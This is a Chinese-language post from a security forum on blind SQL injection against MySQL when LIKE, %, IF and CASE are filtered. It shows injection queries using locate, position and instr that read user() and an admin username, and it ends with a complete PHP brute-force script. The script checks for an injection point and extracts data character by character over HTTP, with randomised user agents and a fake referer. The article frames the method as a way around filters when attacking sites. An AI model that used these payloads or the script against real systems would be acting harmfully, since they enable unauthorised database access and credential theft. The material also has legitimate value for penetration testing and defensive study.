mysql 过滤like时的另类盲注方法-先知社区

0x00 概要

日站过程中有过滤是很正常的事情.

本方法适用于过滤了 like, %, if, CASE

也就是 like 注入无法正常使用,但是页面又没有回显的情况

like 替换方法

locate

position

instr

0x01 locate, position, instr 函数注入时会遇到的问题

虽然说是替代但是其实没有那么的好用,因为他们都是左右匹配的QAQ

这会导致匹配类似 a1b2a1a2 这样的数据不准确的问题

例如: 我输入a1匹配为true,我输入a1a匹配一样会为真,这会导致一个问题就是我们不知道第一位的数据是怎么样的

所以我想出了两个解决方案

使用 substring 函数之类的方法

第一种是类似递归的方式,先得出要获得的数据的长度,然后利用循环慢慢递归爆破

第一种就不解释了,能用 substring之类的截断函数其实就与普通的布尔盲注是一样的

第二种方法我就会文章的最后写个简单的例子

0x01 测试数据

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select current_user;
+----------------+
| current_user   |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select * from tdb_goods where goods_id=1;
+----------+----------------------------+------------+------------+-------------+---------+------------+
| goods_id | goods_name                 | goods_cate | brand_name | goods_price | is_show | is_saleoff |
+----------+----------------------------+------------+------------+-------------+---------+------------+
|        1 | R510VC 15.6英寸笔记本       | 笔记本     | 华硕      |    3399.000 |       1 |          0 |
+----------+----------------------------+------------+------------+-------------+---------+------------+
1 row in set (0.00 sec)

0x02 substring 函数

截取特定长度的字符串

用法：

substring(str, pos)，即：substring(被截取字符串，从第几位开始截取)
substring(str, pos, length)

即：substring(被截取字符串，从第几位开始截取，截取长度)

0x03 locate 函数

记忆方式: select * from test where test=1 and locate(判断条件, 表达式)>0

0x03.1 查询user()数据

# 查询 user() 前两位数据-正确时
# 正确时页面内容不会变
# 表示user()函数,前两位数据为: ro
mysql> select * from test where test=1 and locate('ro', substring(user(),1,2))>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set

# 查询 user() 前两位数据-错误
# 错误时页面数据会返回为空
mysql> select * from test where test=1 and locate('r1', substring(user(),1,2))>0;
Empty set

0x03.2 查询数据库表数据

# 读取某库某表某字段前两位数据-正确时
# 表示test表,第一条数据username字段,前两个字为: ad
mysql> select * from test where test=1 and locate('ad', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set

# 读取某库某表某字段前两位数据-错误时
mysql> select * from test where test=1 and locate('a1', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;
Empty set

0x04 position 函数

记忆方式: select * from test where test=1 and position(判断条件 IN 表达式)

0x04.1 查询user()数据

# 查询 user() 前两位数据-正确时
# 正确时页面内容不会变
# 表示user()函数,前两位数据为: ro
mysql> select * from test where test=1 and position('ro' IN substring(user(),1,2));
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set

# 查询 user() 前两位数据-错误
# 错误时页面数据会返回为空
mysql> select * from test where test=1 and position('ro1' IN substring(user(),1,2));
Empty set

0x04.2 查询数据库表数据

# 读取某库某表某字段前两位数据-正确时
# 表示test表,第一条数据username字段,前两个字为: ad
mysql> select * from test where test=1 and position('ad' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set

# 读取某库某表某字段前两位数据-错误时
mysql> select * from test where test=1 and position('a1' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));
Empty set

0x05 instr 函数

记忆方式: select * from test where test=1 and instr(表达式, 判断条件)>0

0x05.1 查询user()数据

# 查询 user() 前两位数据-正确时
# 正确时页面内容不会变
# 表示user()函数,前两位数据为: ro
mysql> select * from test where test=1 and instr(substring(user(),1,2), 'ro')>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set

# 查询 user() 前两位数据-错误
# 错误时页面数据会返回为空
mysql> select * from test where test=1 and instr(substring(user(),1,2), 'roa')>0;
Empty set

0x05.2 查询数据库表数据

# 读取某库某表某字段前两位数据-正确时
# 表示test表,第一条数据username字段,前两个字为: ad
mysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'ad')>0;
+----+------+-----+---------+
| id | test | map | content |
+----+------+-----+---------+
|  1 | 1    | 1   | 0       |
+----+------+-----+---------+
1 row in set

# 读取某库某表某字段前两位数据-错误时
mysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'adc')>0;
Empty set

0x06 脚本思路讲解

例如 user() = root@localhost

先得出长度: 14

然后脚本进入死循环

先向右填充爆破一直到爆破不出来为止,然后在开始向左爆破

第一次: select * from test where test=1 and locate('o', user())>0; 因为user() 中有带o的所以为真,判断爆破成功的长度是否为14

第二次: select * from test where test=1 and locate('ot', user())>0; 因为user() 中有带ot的所以为真,判断爆破成功的长度是否为14

第x次: select * from test where test=1 and locate('ot', user())>0; 因为user() 中有带ot@localhost的所以为真,判断爆破成功的长度是否为14,这时爆破会发现还差2个,然后只需要向左爆破一下即可

0x07 脚本思路例子-爆破 user()

<?php 

class SqlCurl
{
    public function curlRequest($url, $post = [], $return_header = false, $cookie = '', $referurl = '')
    {
        if (!$referurl) {
            $referurl = 'https://www.baidu.com';
        }

        $header = array(
            'Content-Type:application/x-www-form-urlencoded',
            'X-Requested-With:XMLHttpRequest',
        );

        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);

        //随机浏览器useragent
        curl_setopt($curl, CURLOPT_USERAGENT, $this->agentArry());
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
        curl_setopt($curl, CURLOPT_REFERER, $referurl);
        curl_setopt($curl, CURLOPT_HTTPHEADER, $header);

        if ($post) {
            curl_setopt($curl, CURLOPT_POST, 1);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
        }

        if ($cookie) {
            curl_setopt($curl, CURLOPT_COOKIE, $cookie);
        }

        curl_setopt($curl, CURLOPT_TIMEOUT, 10);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $data = curl_exec($curl);

        if (curl_errno($curl)) {
            return curl_error($curl);
        }

        $header_data = curl_getinfo($curl);
        if ($return_header) {
            return $header_data;
        }

        curl_close($curl);
        return $data;
    }

    private function getIp()
    {
        return mt_rand(11, 191) . "." . mt_rand(0, 240) . "." . mt_rand(1, 240) . "." . mt_rand(1, 240);
    }

    private function agentArry()
    {
        $agentarry = [
            //PC端的UserAgent
            "safari 5.1 – MAC" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
            "safari 5.1 – Windows" => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
        ];
        return $agentarry[array_rand($agentarry, 1)];
    }
}

// 注入点
$url = 'http://127.0.0.1/test/test_sql.php?id=1';

$result = (new SqlCurl())->curlRequest($url, [], true);
if (isset($result['size_download']) && !empty($result['size_download'])) {
    $result_size = $result['size_download'];
} else {
    $result_size = 0;
}

$sql_test_result_1 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=1 -- a'), [], true);
$sql_test_result_2 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=2 -- a'), [], true);

if ($result_size != $sql_test_result_1['size_download'] || $result_size === $sql_test_result_2['size_download']) {
    echo '不是注入';
    exit;
}

// 查询 user() 长度
$i=0;
$user_size = 0;
while (true) {
    $sql_test_result_3 = (new SqlCurl())->curlRequest($url.urlencode('\' and length(user()) ='.$i.'-- a'), [], true);
    if ($sql_test_result_3['size_download'] === $result_size) {
        $user_size = $i;
        break;
    }
    $i++;
}
echo 'user()长度: '.$user_size.PHP_EOL;

// 查询 user() 内容
$payload = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~';
$payload_count = strlen($payload);

$user_data = '';
while (true) {
    if (strlen($user_data) !== $user_size) {
        for ($j=0; $j < $payload_count; $j++) {
            // 向右爆破
            $sql_test_result_4 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$user_data.$payload[$j].'\', user())>0 -- a'), [], true);
            if ($sql_test_result_4['size_download'] === $result_size) {
                $user_data .= $payload[$j];
                echo $user_data.PHP_EOL;
                continue;
            } else {
                // 向左爆破 
                $sql_test_result_5 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$payload[$j].$user_data.'\', user())>0 -- a'), [], true);
                if ($sql_test_result_5['size_download'] === $result_size) {
                    $user_data = $payload[$j].$user_data;
                    echo $user_data.PHP_EOL;
                    continue;
                }
            }
        }
    } else {
        break;
    }
}

echo '执行完成'.PHP_EOL;
echo 'user()长度: '.$user_size.PHP_EOL;
echo 'user()内容: '.$user_data.PHP_EOL;

注意: mysql是不区分大小写的,所以我在写例子脚本时添加了BINARY关键字使搜索区分大小写